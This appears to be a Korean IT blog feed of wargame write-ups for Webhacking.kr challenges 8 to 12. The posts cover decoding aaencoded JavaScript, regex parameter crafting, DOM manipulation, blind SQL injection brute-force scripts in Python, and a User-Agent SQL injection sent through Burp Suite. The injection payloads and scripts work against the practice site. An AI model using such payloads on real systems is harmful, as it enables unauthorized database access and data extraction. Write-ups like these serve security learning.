호빵둥이 IT Blog

Webhacking.kr 12번 풀이 :: 호빵둥이 IT Blog

호빵둥이블로그 — Sat, 4 Jul 2020 20:30:42 +0900

안녕하세요!

오늘은 워게임, Webhacking.kr Chellenge 12번 문제를 풀어보도록 하겠습니다.

이번 문제는 자바스크립트의 난독화를 사용한 문제입니다.

#문제 보기

https://webhacking.kr/challenge/code-3/

Challenge 12

webhacking.kr

이번문제도 자바스크립트 챌린지이다

이번 문제도 마찬가지로 Javascript challenge 문제입니다.

따로 확인할 내용이 없으므로 바로 소스코드 분석으로 넘어가도록 하겠습니다.

#소스코드 분석하기

우클릭 > 페이지 소스 보기 (또는 Ctrl+U)를 통해 소스코드를 보도록 하겠습니다.

너무나도 많은 글자들이 써져있다

.. 이상태에서는 아무리 봐도 어떤 코드인지 알 수 없습니다.

우선 보기 쉽게 하기 위해서, Beautifier를 통해서 가독성 있는 형태로 바꿔주도록 하겠습니다.

https://beautifier.io/

Online JavaScript beautifier

beautifier.io

페이지 소스의 script부분만 복사해서 붙여넣기 한 후 Beautify Code를 눌러주면,

아래와 같이 조금더 가독성 있는 형태를 얻을 수 있습니다.

일단 코드중 조금 더 가독성 있게 표현된 부분만 가져와보도록 하겠습니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29

ﾟωﾟﾉ = /｀ｍ´）ﾉ ~┻━┻   / /*´∇｀*/
['_'];
o = (ﾟｰﾟ) = _ = 3;
c = (ﾟΘﾟ) = (ﾟｰﾟ) - (ﾟｰﾟ);
(ﾟДﾟ) = (ﾟΘﾟ) = (o ^ _ ^ o) / (o ^ _ ^ o);
(ﾟДﾟ) = {ﾟΘﾟ: '_',
    ﾟωﾟﾉ: ((ﾟωﾟﾉ == 3) + '_')[ﾟΘﾟ],
    ﾟｰﾟﾉ: (ﾟωﾟﾉ + '_')[o ^ _ ^ o - (ﾟΘﾟ)],
    ﾟДﾟﾉ: ((ﾟｰﾟ == 3) + '_')[ﾟｰﾟ]
};
(ﾟДﾟ)[ﾟΘﾟ] = ((ﾟωﾟﾉ == 3) + '_')[c ^ _ ^ o];
(ﾟДﾟ)['c'] = ((ﾟДﾟ) + '_')[(ﾟｰﾟ) + (ﾟｰﾟ) - (ﾟΘﾟ)];
(ﾟДﾟ)['o'] = ((ﾟДﾟ) + '_')[ﾟΘﾟ];
 
(ﾟoﾟ) = (ﾟДﾟ)['c'] + (ﾟДﾟ)['o'] + (ﾟωﾟﾉ + '_')[ﾟΘﾟ] + ((ﾟωﾟﾉ == 3) + '_')[ﾟｰﾟ] +
    ((ﾟДﾟ) + '_')[(ﾟｰﾟ) + (ﾟｰﾟ)] + ((ﾟｰﾟ == 3) + '_')[ﾟΘﾟ] +
    ((ﾟｰﾟ == 3) + '_')[(ﾟｰﾟ) - (ﾟΘﾟ)] + (ﾟДﾟ)['c'] + ((ﾟДﾟ) + '_')[(ﾟｰﾟ) + (ﾟｰﾟ)]
    + (ﾟДﾟ)['o'] + ((ﾟｰﾟ == 3) + '_')[ﾟΘﾟ];
 
(ﾟДﾟ)['_'] = (o ^ _ ^ o)[ﾟoﾟ][ﾟoﾟ];
 
(ﾟεﾟ) = ((ﾟｰﾟ == 3) + '_')[ﾟΘﾟ] + (ﾟДﾟ).ﾟДﾟﾉ + ((ﾟДﾟ) + '_')[(ﾟｰﾟ) + (ﾟｰﾟ)] +
    ((ﾟｰﾟ == 3) + '_')[o ^ _ ^ o - ﾟΘﾟ] + ((ﾟｰﾟ == 3) + '_')[ﾟΘﾟ] + (ﾟωﾟﾉ + '_')[ﾟΘﾟ];
 
(ﾟｰﾟ) += (ﾟΘﾟ);
(ﾟДﾟ)[ﾟεﾟ] = '\\';
(ﾟДﾟ).ﾟΘﾟﾉ = (ﾟДﾟ + ﾟｰﾟ)[o ^ _ ^ o - (ﾟΘﾟ)];
(oﾟｰﾟo) = (ﾟωﾟﾉ + '_')[c ^ _ ^ o];
(ﾟДﾟ)[ﾟoﾟ] = '\"';
Colored by Color Scripter

cs

각자 이모티콘이 지정하는 문자가 무엇인지 확인하기 위해 크롬의 개발자 도구를 활용하여

어떤 이모티콘이 어떻게 사용되는지 찾아보도록 하겠습니다.

여기에서 가장 눈에 띄는 것은, (ﾟДﾟ)['_'] 입니다.

Function을 지정하고 있기 때문에 이를 활용하면 함수를 만들 수 있기 때문이죠.

또, (ﾟoﾟ)가 constructor를 지정하는 것으로 보아 함수 생성자로 함수를 선언하고 있다는 것을 유추할 수 있습니다.

이제 미처 보지 못한 코드를 살펴보면,

(ﾟДﾟ)['_']((ﾟДﾟ)['_'](ﾟεﾟ + (ﾟДﾟ)[ﾟoﾟ] + (ﾟДﾟ)[ﾟεﾟ] + (ﾟΘﾟ) + ....

예상대로 (ﾟДﾟ)['_']로 시작하는 모습을 볼 수 있습니다!

즉, 이 구문은 어떤 함수를 지정하고, 이 함수를 알게 된다면 간단하게 문제를 해결할 수 있겠죠.

여기서 구글 개발자 콘솔의 장점을 사용할 차례입니다.

구글 개발자 콘솔은 함수를 콘솔에서 지정하게 되면 함수의 내용을 쉽게 볼 수 있습니다.

코드의 가장 마지막 줄을 보면,

(ﾟДﾟ)[ﾟεﾟ] + (ﾟΘﾟ) + ((ﾟｰﾟ) + (o ^ _ ^ o)) + ((ﾟｰﾟ) + (ﾟΘﾟ)) + (ﾟДﾟ)[ﾟoﾟ])(ﾟΘﾟ))('_');

로 끝나는 모습을 볼 수 있습니다.

괄호의 개수를 볼 때 마지막 ('_');는 함수에 연관이 없을 것 같습니다.

('_');를 제외한 나머지 문자를 모두 복사해서 구글 개발자 콘솔에 붙여 넣기 해주면,

함수에 대한 정보를 얻을 수 있습니다!

더블클릭해서 자세히 살펴보도록 하겠습니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21

(function anonymous(
) {
var enco='';
var enco2=126;
var enco3=33;
var ck=document.URL.substr(document.URL.indexOf('='));
for(i=1;i<122;i++){
  enco=enco+String.fromCharCode(i,0);
}
function enco_(x){
  return enco.charCodeAt(x);
}
if(ck=="="+String.fromCharCode(enco_(240))+String.fromCharCode(enco_(220))
 +String.fromCharCode(enco_(232)) +String.fromCharCode(enco_(192))
 +String.fromCharCode(enco_(226))+String.fromCharCode(enco_(200))
 +String.fromCharCode(enco_(204))+String.fromCharCode(enco_(222-2))
 +String.fromCharCode(enco_(198))
 +"~~~~~~"+String.fromCharCode(enco2)+String.fromCharCode(enco3)){
  location.href="./"+ck.replace("=","")+".php";
}
})
Colored by Color Scripter

cs

13번째 줄의 조건이 성립한다면 문제가 풀리는 구조입니다.

여기서 ck는 파라미터로 가져오는 문자입니다.

만약 ck가 어떤 값을 만족한다면 Url을 ./ ck.replace("=","")+".php"로 바꾸는 것을 보아,

https://webhacking.kr/challenge/code-3/{Flag}.php

로 접속하면 문제가 풀리는 것을 알 수 있습니다.

ck 값을 확인해보면,

너는 신이다!

Flag가 "youaregod~~~~~~~!"인 사실을 알 수 있습니다.

#문제 풀기

Flag가 "youaregod~~~~~~~!"인 것을 알 수 있으므로,

https://webhacking.kr/challenge/code-3/youaregod~~~~~~~!.php

webhacking.kr

위 링크로 접속을 시도하면,

문제가 풀렸다!

문제를 풀 수 있습니다.

#연관된 활동

문제를 푼 후 구글링을 해보니 이 인코딩을 "aaencode"라고 하는 사실을 알 수 있었습니다.

aaencode는 다음 디코더를 첨부합니다,

https://cat-in-136.github.io/2010/12/aadecode-decode-encoded-as-aaencode.html

aadecode - Decode encoded-as-aaencode JavaScript program. ['_']

aadecode - Decode encoded-as-aaencode JavaScript program. (ﾟДﾟ) ['_'] Enter ...

cat-in-136.github.io

아까 코드를 복사해서 붙여 넣으면,

너무나도 간단하게 나온다

aaencode 알고 있었으면 간단한 문제였습니다.

포스트 잘 보셨다면 하단에 ♡ 꼭 눌러주시길 부탁드립니다!

(♡ 는 블로거에게 큰 힘이 됩니다)

[이전글] : 2020/06/24 - [프로그래밍/[워게임]Webhacking.kr] - Webhacking.kr 11번 풀이 :: 호빵둥이 IT Blog

Webhacking.kr 11번 풀이 :: 호빵둥이 IT Blog

안녕하세요! 오늘은 워게임, Webhacking.kr Chellenge n번 문제를 풀어보도록 하겠습니다. 이번 문제는 PHP를 사용한 문제입니다. #문제 보기 우선 https://webhacking.kr/challenge/code-2/ 로 접속해보도록 하..

h-bread.tistory.com

[다음글] : 추후 업데이트 예정입니다 :D

Webhacking.kr 11번 풀이 :: 호빵둥이 IT Blog

호빵둥이블로그 — Wed, 24 Jun 2020 16:50:22 +0900

안녕하세요!

오늘은 워게임, Webhacking.kr Chellenge n번 문제를 풀어보도록 하겠습니다.

이번 문제는 PHP를 사용한 문제입니다.

#문제 보기

우선 https://webhacking.kr/challenge/code-2/ 로 접속해보도록 하겠습니다.

Challenge 11

webhacking.kr

접속하자마자 Wrong이라고 반겨준다

이번 문제는 소스코드를 분석해서 확인해봐야 될 것 같습니다.

일단 view-source를 눌러 소스코드를 보도록 하겠습니다.

#소스코드 분석하기

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25

<?php
  include "../../config.php";
  if($_GET['view_source']) view_source();
?><html>
<head>
<title>Challenge 11</title>
<style type="text/css">
body { background:black; color:white; font-size:10pt; }
</style>
</head>
<body>
<center>
<br><br>
<?php
  $pat="/[1-3][a-f]{5}_.*$_SERVER[REMOTE_ADDR].*\tp\ta\ts\ts/";
  if(preg_match($pat,$_GET['val'])){
    solve(11);
  }
  else echo("<h2>Wrong</h2>");
  echo("<br><br>");
?>
<a href=./?view_source=1>view-source</a>
</center>
</body>
</html>
Colored by Color Scripter

cs

PHP 부분만 따로 보도록 하겠습니다.

1
2
3
4
5
6
7
8

<?php
  $pat="/[1-3][a-f]{5}_.*$_SERVER[REMOTE_ADDR].*\tp\ta\ts\ts/";
  if(preg_match($pat,$_GET['val'])){
    solve(11);
  }
  else echo("<h2>Wrong</h2>");
  echo("<br><br>");
?>
Colored by Color Scripter

cs

2번째 줄에서 $pat 값을 지정합니다.

정규식을 분석하면, 1~3의 숫자 1개 + a~f의 소문자 5개 + 사용자의 IP + */tp/ta/ts/ts 형식을

pat에 저장합니다.

3번째 줄에서 만약 이 형식과 val 파라미터로 가져온 값이 같다면, 문제가 풀리는 구조입니다.

즉 우리는 val 값을 pat의 정규식에 맞추면 바로 풀 수 있는 구조인 것 같습니다.

이제 문제를 풀어보도록 하겠습니다.

#문제 풀기

val의 형식을 맞추기 위해서

val = 1aaaaa_{접속한 IP}*%09p%09a%09s%09s

로 만들어 주겠습니다.

뒤의 탭 문자는 URL인코딩을 통해서 %09로 바꿔주었습니다.

자신의 IP주소는 하단 링크에서 확인할 수 있습니다.

https://www.findip.kr/

아이피 확인 - my ip address

IP 주소를 확인하는 가장 쉽고 빠른 방법 이 사이트(findip.kr)에 접속하는 것이 IP주소를 확인하는 가장 쉽고 빠른 방법이다. 121.53.243.11 가 현재 접속한 기기의 공인 IP(Internet Protocol) 주소다 IP주소��

www.findip.kr

확인한 파라미터를 이용해서 접속을 시도하면,

https://webhacking.kr/challenge/code-2/?val=1aaaaa_{본인의 IP 주소}*%09p%09a%09s%09s

Challenge 11

webhacking.kr

문제가 간단하게 풀렸습니다!

#연관된 활동

이번 문제는 기존의 내용을 사용하여 간단하게 풀 수 있었습니다.

정규식의 개념을 알고, PHP의 REMODE_ADDR을 알면 파라미터 개념을 사용해서 풀 수 있었습니다.

코딩을 하면서 정규식을 사용하면 논리 구문에서 획기적으로 코드를 줄일 수 있고 값 형식을 쉽게 고정할 수 있으므로

항상 숙지하고 있기를 바랍니다.

포스트 잘 보셨다면 하단에 ♡ 꼭 눌러주시길 부탁드립니다!

(♡ 는 블로거에게 큰 힘이 됩니다)

[이전글] : 2020/06/20 - [프로그래밍/[워게임]Webhacking.kr] - Webhacking.kr 10번 풀이 :: 호빵둥이 IT Blog

Webhacking.kr 10번 풀이 :: 호빵둥이 IT Blog

안녕하세요! 오늘은 워게임, Webhacking.kr Chellenge 10번 문제를 풀어보도록 하겠습니다. 이번 문제는 자바스크립트와 제이쿼리를 사용한 간단한 문제입니다. #문제 보기 우선 https://webhacking.kr/challenge

h-bread.tistory.com

[다음글] : 2020/07/04 - [프로그래밍/[워게임]Webhacking.kr] - Webhacking.kr 12번 풀이 :: 호빵둥이 IT Blog

Webhacking.kr 12번 풀이 :: 호빵둥이 IT Blog

안녕하세요! 오늘은 워게임, Webhacking.kr Chellenge 12번 문제를 풀어보도록 하겠습니다. 이번 문제는 자바스크립트의 난독화를 사용한 문제입니다. #문제 보기 https://webhacking.kr/challenge/code-3/ Chall..

h-bread.tistory.com

Webhacking.kr 10번 풀이 :: 호빵둥이 IT Blog

호빵둥이블로그 — Sat, 20 Jun 2020 21:31:28 +0900

안녕하세요!

오늘은 워게임, Webhacking.kr Chellenge 10번 문제를 풀어보도록 하겠습니다.

이번 문제는 자바스크립트와 제이쿼리를 사용한 간단한 문제입니다.

#문제 보기

우선 https://webhacking.kr/challenge/code-1/ 로 접속해서 문제를 확인하도록 하겠습니다.

Challenge 10

webhacking.kr

도로를 연상케한다.

그러면 이렇게 무언가 도로같이 생긴 그림이 나옵니다.

어떻게 문제를 풀라는 것인지 잘 모르겠군요..

소스코드를 분석해보도록 하겠습니다.

#소스코드 분석하기

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24

 
<html>
<head>
<title>Challenge 10</title>
</head>
 
<body>
<hr style=height:100;background:brown;>
<table border=0 width=1800 style=background:gray>
<tr><td>
 
<a id=hackme style="position:relative;left:0;top:0" onclick="
this.style.left=parseInt(this.style.left,10)+1+'px';
if(this.style.left=='1600px')this.href='?go='+this.style.left"
onmouseover=this.innerHTML='yOu' onmouseout=this.innerHTML='O'>O</a>
 
<br>
<font style="position:relative;left:1600;top:0" color=gold>|<br>|<br>|<br>|<br>Goal</font>
</td></tr>
</table>
<hr style=height:100;background:brown;>
</body>
</html>
 
Colored by Color Scripter

cs

소스코드에서 가장 눈에 띄는 부분은 바로 12번째 줄, id 가 hackme 인 것으로 봐서 저 부분을 건드리면 될 것 같습니다.

12번째 줄 <a> 태그의 onclick 부분만 가져오겠습니다.

1
2

this.style.left = parseInt(this.style.left,10)+1+'px';
if(this.style.left=='1600px')this.href='?go='+this.style.left

cs

1번째 줄에서 this.style.left는 클릭한 요소(id 가 hackme인 요소)의 style에서 left값을 불러오는 것입니다.

parseInt함수는 아래 링크를 참고해주세요.

https://developer.mozilla.org/ko/docs/Web/JavaScript/Reference/Global_Objects/parseInt

parseInt()

parseInt() 함수는 문자열 인자의 구문을 분석해 특정 진수(수의 진법 체계에 기준이 되는 값)의 정수를 반환합니다.

developer.mozilla.org

간단하게 설명하자면, parseInt는 parseInt(String, number) 형태로 사용할 수 있습니다.

String 값을 number의 진법으로 바꾸어 주는 기능을 합니다. 즉, 1번째 줄에서 parseInt(this.style.left,10)은

이 <a>태그의 style.left요소를 10진법으로 나타내는 것을 의미합니다.

이를 2번 째 요소와 같이 생각하면, 기존의 <a> 태그의 style.left요소에 1을 더한 것이 1600px이면,

문제가 풀리는 방식인 것 같습니다.

이제 문제를 풀어보도록 하겠습니다.

#문제 풀기

결국은 문제가 풀리면 url 뒤에 ?go=1600px이 붙어지는 형태이기 때문에 우선, Url 접속을 시도합니다.

https://webhacking.kr/challenge/code-1/?go=1600px

Challenge 10

webhacking.kr

그랬더니,

no hack!

no hack이라고 뜨는 모습을 볼 수 있습니다.

그렇다면, 직접 Jquery 구문을 이용해 <a> 태그의 style.left 값을 조작해보도록 하겠습니다.

[F2] > [개발자도구] > [Console]로 들어갑니다.

id 가 hackme 인 a태그를 선택해서, style.left 값을 1599로 지정하면 되므로 다음과 같이 입력해줍니다.

$('a#hackme').style.left = 1599

이후 엔터를 눌러주면,

동그라미가 Goal 지점까지 도착했다

골 지점까지 O가 위치했습니다.

이제 O를 눌러 onclick의 함수를 실행시켜주면,

문제를 쉽게 풀 수 있습니다.

#연관된 활동

오늘 문제는 자바스크립트와 제이쿼리를 사용했습니다.

최근 자바스크립트와 nodejs가 각광받고 있는 만큼 알아두시는 것을 권장합니다.

솔로런 이라는 사이트에서 자바스크립트를 익히고, 직접 코딩해보세요!

https://www.sololearn.com/

SoloLearn: Learn to Code

Join Now to learn the basics or advance your existing skills

www.sololearn.com

포스트 잘 보셨다면 하단에 ♡ 꼭 눌러주시길 부탁드립니다!

(♡ 는 블로거에게 큰 힘이 됩니다)

[이전글] : 2020/06/19 - [프로그래밍/[워게임]Webhacking.kr] - Webhacking.kr 9번 풀이 :: 호빵둥이 IT Blog

Webhacking.kr 9번 풀이 :: 호빵둥이 IT Blog

안녕하세요! 오늘은 워게임, Webhacking.kr Chellenge 9번 문제를 풀어보도록 하겠습니다. 이번문제는 SQL블라인드인젝션을 사용한 문제입니다. #문제 보기 우선 https://webhacking.kr/challenge/web-09/ 에 접..

h-bread.tistory.com

[다음글] : 2020/06/24 - [프로그래밍/[워게임]Webhacking.kr] - Webhacking.kr 11번 풀이 :: 호빵둥이 IT Blog

Webhacking.kr 9번 풀이 :: 호빵둥이 IT Blog

호빵둥이블로그 — Fri, 19 Jun 2020 21:38:57 +0900

안녕하세요!

오늘은 워게임, Webhacking.kr Chellenge 9번 문제를 풀어보도록 하겠습니다.

이번문제는 SQL블라인드인젝션을 사용한 문제입니다.

#문제 보기

우선 https://webhacking.kr/challenge/web-09/ 에 접속해보도록 하겠습니다.

Challenge 9

webhacking.kr

접속한 모습. Password를 찾아내야하는 것 같다.

각각 1, 2, 3을 눌러 들어가 보면,

이렇게 3가지 사이트를 볼 수 있습니다.

no=3일 때 홈페이지를 통해, no 3 의 id를 구하면 될 것이라고 유추할 수 있습니다.

#문제 분석 및 풀이

SQL 블라인드 인젝션을 하기 전에, 간단하게 SQL인젝션을 시도해보겠습니다.

https://webhacking.kr/challenge/web-09/?no=3%27%20or%20%271%27=%271

Challenge 9

webhacking.kr

하지만, 바로 Access Denied가 뜨는 모습을 볼 수 있습니다.

이후 여러 구문을 시도해본 결과,

'(작은따옴표), "(큰따옴표), 공백, and, &, |, or, % 등이 막혀있는 모습을 볼 수 있습니다.

그러면, SQL 블라인드 인젝션을 통해서 id의 length값을 알아낸 후에 무작위 대입을 통해 유추해보도록 하겠습니다.

우선 다음의 URL에 접속하여 id의 length값을 알아보도록 하겠습니다.

https://webhacking.kr/challenge/web-09/?no=if(LENGTH(id)like({ID문자열의 길이}),3,0)

위 URL 요청을 서버로 보내게 되면, id 의 LENGTH와 입력한 문자열의 길이가 같다면

no가 3이되어 화면에 Secret이 출력되고, 만약 길이가 같지않다면

no가 0이 되어 초기 화면이 보여질 것입니다.

간단한 Python 코드를 입력해 Length 값을 먼저 알아내보도록 하겠습니다.

1
2
3
4
5
6
7

for i in range(1,100):
    url = 'https://webhacking.kr/challenge/web-09/?no=if(LENGTH(id)like('+str(i)+'),3,0)'
 
    response = requests.get(url)
    if(response.text.find('Secret')!= -1):
            print("id's length is "+str(i))
            break
Colored by Color Scripter

cs

1 ~ 100 까지 ID의 LENGTH와 비교해서 같으면, ID의 LENGTH를 출력하는 프로그램입니다.

이를 실행시켜 보면,

ID's LENGTH = 11

id가 11자리 글자인 사실을 알 수 있습니다.

이제 substr함수를 사용하여 ID의 각 자리수 문자를 알아보도록 하겠습니다.

https://webhacking.kr/challenge/web-09/?no=if(substr(id,{문자인덱스},1)like({맞는지 확인할 문자의 헥스값}),3,0)

위 구문에 따라 해당 문자 인덱스의 문자가 맞는지 확인할 문자의 헥스값과 비교해서 맞다면

no에 3을, 다르다면 no에 0이 들어갈 것입니다.

이제 이 구문을 11개의 문자에 대해서 일치하는 알파벳 소문자, 대문자를 찾아보도록 하겠습니다.

1
2
3
4
5
6
7
8

for i in range(1,12):
    for j in range(65, 123):
        url = 'https://webhacking.kr/challenge/web-09/?no=if(substr(id,'+str(i)+',1)like('+ hex(j) +'),3,0)'
        
        response = requests.get(url)
        if(response.text.find('Secret')!= -1):
            print(chr(j),end='')
            break
Colored by Color Scripter

cs

이를 실행시키면,

ID가 ALSRKSWHAQL임을 확인할 수 있습니다.

이를 password에 넣어보면,

https://webhacking.kr/challenge/web-09/index.php?pw=ALSRKSWHAQL

Challenge 9

webhacking.kr

분명 제대로 푼 것 같은데, 풀리지 않는다.

문제가 해결되지 않는 것을 확인할 수 있습니다.

여기서, 우리가 간과하고 있는 점이 하나 있습니다.

바로, MYSQL은 대소문자를 구분하지 않는 것입니다.

그래서 대문자 A의 아스키코드 0x41과 소문자 a의 아스키코드 0x61을 같은 문자로 인식하는 것입니다.

MYSQL에서 대소문자를 구분할 수 있는 방법은 다른 블로그의 링크를 첨부하도록 하겠습니다.

https://m.blog.naver.com/PostView.nhn?blogId=21cchaos&logNo=70104665887

[MS SQL] 대소문자 구별

MS SQL은 대소문자 구별을 하지 않는다고 한다. 하지만 조회시 대소문자를 구별해야 하는 경우가 있어...

blog.naver.com

그런데, 이런 방법을 사용해도 Access Denied가 뜨면서 접속을 거부합니다.

그러면 가능한 소문자 조합을 여러가지 시도해 보면,

https://webhacking.kr/challenge/web-09/?pw=alsrkswhaql

Challenge 9

webhacking.kr

답은 alsrkswhaql, 모두 소문자가 됩니다.

#연관된 활동

SQL 블라인드 인젝션을 하기 위해서는 SQL 함수들을 많이 알아두는 것이 좋습니다.

잘 정리된 블로그 링크를 남기며, 이상 마치도록 하겠습니다.

https://websecurity.tistory.com/154

[WEB 취약점 SQL Injection] 필터링 우회 + Blind SQL Injection

SQL INJECTION [정의] SQL 인젝션 (SQL 삽입, SQL 주입으로도 불린다) 은 코드 인젝션의 한 기법으로 클라이언트의 입력값을 조작하여 서버의 데이터베이스를 공격할 수 있는 공격방식을 말한다. 주로 ��

websecurity.tistory.com

포스트 잘 보셨다면 하단에 ♡ 꼭 눌러주시길 부탁드립니다!

(♡ 는 블로거에게 큰 힘이 됩니다)

[이전글] : 2020/05/18 - [프로그래밍/[워게임]Webhacking.kr] - Webhacking.kr 8번 풀이 :: 호빵둥이 IT Blog

Webhacking.kr 8번 풀이 :: 호빵둥이 IT Blog

안녕하세요! 오늘은 워게임, Webhacking.kr Chellenge 8번 문제를 풀어보도록 하겠습니다. 이번 문제는 SQL 인젝션과 패킷 조작을 사용한 문제입니다. 패킷 조작은 며칠 전 포스트 올렸던 Burp Suite 프로그

h-bread.tistory.com

[다음글] : 2020/06/20 - [프로그래밍/[워게임]Webhacking.kr] - Webhacking.kr 10번 풀이 :: 호빵둥이 IT Blog

Webhacking.kr 10번 풀이 :: 호빵둥이 IT Blog

h-bread.tistory.com

Webhacking.kr 8번 풀이 :: 호빵둥이 IT Blog

호빵둥이블로그 — Mon, 18 May 2020 20:00:35 +0900

안녕하세요!

오늘은 워게임, Webhacking.kr Chellenge 8번 문제를 풀어보도록 하겠습니다.

이번 문제는 SQL 인젝션과 패킷 조작을 사용한 문제입니다.

패킷 조작은 며칠 전 포스트 올렸던 Burp Suite 프로그램을 사용하도록 하겠습니다.

링크 : [프로그래밍/프로그램 소개] - 해킹툴 Burp Suite 설치 및 간단한 사용법 알아보기 :: 호빵둥이 IT Blog

해킹툴 Burp Suite 설치 및 간단한 사용법 알아보기 :: 호빵둥이 IT Blog

허락받지 않은 해킹은 불법행위입니다. 본 포스트는 해당 프로그램의 사용법을 알려주는 것이며 법에 어긋나는 행위를 했을 경우 책임지지 않습니다. 안녕하세요! 이번에 Webhacking.kr 8번 문제를

h-bread.tistory.com

#문제 보기

https://webhacking.kr/challenge/web-08/

Challenge 8

webhacking.kr

다음에 접속해서 문제를 확인합니다.

hi guest라고 반가주는 모습.

View-source를 클릭해 문제를 확인해보도록 하겠습니다.

#소스코드 분석하기

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44

<?php
  include "../../config.php";
  if($_GET['view_source']) view_source();
?><html>
<head>
<title>Challenge 8</title>
<style type="text/css">
body { background:black; color:white; font-size:10pt; }
</style>
</head>
<body>
<br><br>
<center>
<?php
$agent=trim(getenv("HTTP_USER_AGENT"));
$ip=$_SERVER['REMOTE_ADDR'];
if(preg_match("/from/i",$agent)){
  echo("<br>Access Denied!<br><br>");
  echo(htmlspecialchars($agent));
  exit();
}
$db = dbconnect();
$count_ck = mysqli_fetch_array(mysqli_query($db,"select count(id) from chall8"));
if($count_ck[0] >= 70){ mysqli_query($db,"delete from chall8"); }
 
$result = mysqli_query($db,"select id from chall8 where agent='".addslashes($_SERVER['HTTP_USER_AGENT'])."'");
$ck = mysqli_fetch_array($result);
 
if($ck){
  echo "hi <b>".htmlentities($ck[0])."</b><p>";
  if($ck[0]=="admin"){
    mysqli_query($db,"delete from chall8");
    solve(8);
  }
}
 
if(!$ck){
  $q=mysqli_query($db,"insert into chall8(agent,ip,id) values('{$agent}','{$ip}','guest')") or die("query error");
  echo("<br><br>done!  ({$count_ck[0]}/70)");
}
?>
<a href=./?view_source=1>view-source</a>
</body>
</html>
Colored by Color Scripter

cs

마찬가지로, 필요 있는 부분만 따로 보도록 하겠습니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28

<?php
$agent=trim(getenv("HTTP_USER_AGENT"));
$ip=$_SERVER['REMOTE_ADDR'];
if(preg_match("/from/i",$agent)){
  echo("<br>Access Denied!<br><br>");
  echo(htmlspecialchars($agent));
  exit();
}
$db = dbconnect();
$count_ck = mysqli_fetch_array(mysqli_query($db,"select count(id) from chall8"));
if($count_ck[0] >= 70){ mysqli_query($db,"delete from chall8"); }
 
$result = mysqli_query($db,"select id from chall8 where agent='".addslashes($_SERVER['HTTP_USER_AGENT'])."'");
$ck = mysqli_fetch_array($result);
 
if($ck){
  echo "hi <b>".htmlentities($ck[0])."</b><p>";
  if($ck[0]=="admin"){
    mysqli_query($db,"delete from chall8");
    solve(8);
  }
}
 
if(!$ck){
  $q=mysqli_query($db,"insert into chall8(agent,ip,id) values('{$agent}','{$ip}','guest')") or die("query error");
  echo("<br><br>done!  ({$count_ck[0]}/70)");
}
?>
Colored by Color Scripter

cs

2번째 줄에서 $agent에 USER_AGENT 값을 저장합니다. 이때 Trim() 함수를 사용해서 혹시나 있을 양쪽 스페이스바를 모두 지워줍니다.

3번째 줄에서 $ip에 ip값을 넣어줍니다.

4 ~ 8번째 줄에서 $agent 값에 from 또는 FROM이 들어가면 Access Denied! 를 출력합니다.

USER_AGENT값을 이용해서 데이터를 SELECT 하는 구문을 막기 위해서 인 것 같습니다.

10 ~ 11번째 줄에서 id 개수가 70개 이상이면 DB에서 지워줍니다.

13 ~ 22번째 줄에서 agent 변수가 현재 접속한 유저의 USER_AGENT와 같은지 비교하고, 만약 같다면 체크를 해줍니다.

그중에서도 agent의 id가 admin이면 문제가 풀리는 구조입니다.

만약 agent 변수가 존재하지 않는다면 24 ~ 27번째 줄에서 agent와 ip, id를 넣어줍니다.

그러면, USER_AGENT를 이용해서 SQL 인젝션을 시도해보도록 하겠습니다.

#문제 풀기

$ck == false일 때

insert into chall8(agent,ip,id) values('{$agent}','{$ip}','guest')

다음 쿼리문이 실행됩니다.

현재 우리가 건드릴 수 있는 값이 $agent 이므로,

이를 이용해서 SQL 인젝션을 시도합니다.

$agent = a','1.1.1.1','admin'),('b 값을 넣어주면,

insert into chall8(agent,ip,id) values('a','1.1.1.1','admin'),('b','{$ip}','guest')

즉, 결과적으로 chall8이라는 Table에

('a','1.1.1.1','admin'), ('b','{$ip}','guest') 이렇게 값이 2개가 들어갈 것입니다.

이후에 다시 접속할 때 USER_AGENT에 'a'를 넣어서 접속을 시도하면, 문제가 풀릴 것입니다.

Burp Suite을 사용해서 패킷을 조작해보도록 하겠습니다.

Proxy 서버를 켜고 Burp에 접속하겠습니다.

Burp Suite에 들어간 모습

이후 메뉴에서 [Proxy] > [Intercept] > [Intercept is off]를 클릭해 Intercept를 켜줍니다.

다시 https://webhacking.kr/challenge/web-08/에 접속하고 엔터를 치면,

Challenge 8

webhacking.kr

패킷수정이 가능하다.

User-Agent 속성을 "a','1.1.1.1','admin'),('b"로 수정한 다음 Forward를 눌러줍시다.

User-Agent를 변경하고 Forward를 눌러주자

그러면,

성공적으로 수정된 패킷이 보내졌다.

성공적으로 2개의 값이 들어간 것을 확인할 수 있습니다.

1개는 admin으로 들어간 데이터이고, 1개는 자신의 아이피로 등록된 guest입니다.

이제 다시 F5를 눌러주고,

User-Agent를 수정하자.

User-Agent를 a로 수정하고 Forward를 눌러주면,

문제를 풀었다!

문제가 풀렸습니다!

#연관된 활동

이번에는 처음으로 Burp Suite 툴을 사용해봤습니다.

실제로 Burp Suite는 웹의 취약점을 찾거나 테스트를 하기 위한 목적으로 많이 사용됩니다.

해당 툴의 간단한 사용방법은 익히는 것을 추천드립니다.

모든 인터넷 연결은 '패킷'을 주고받는 행위로 생각할 수 있습니다.

패킷의 구조를 익혀두는 것을 추천드립니다.

(추후에 따로 포스트 올리도록 하겠습니다)

이상으로 Webhacking.kr 8번 문제 풀이를 마치도록 하겠습니다!

포스트 잘 보셨다면 하단에 ♡ 꼭 눌러주시길 부탁드립니다!

(♡ 는 블로거에게 큰 힘이 됩니다)

[이전글] : 2020/05/17 - [프로그래밍/[워게임]Webhacking.kr] - Webhacking.kr 7번 풀이 :: 호빵둥이 IT Blog

Webhacking.kr 7번 풀이 :: 호빵둥이 IT Blog

안녕하세요! 오늘은 워게임, Webhacking.kr Chellenge 7번 문제를 풀어보도록 하겠습니다. 이번 문제는 SQL 인젝션을 사용한 문제입니다. #문제 보기 https://webhacking.kr/challenge/web-07/index.php?val=1 Ch..

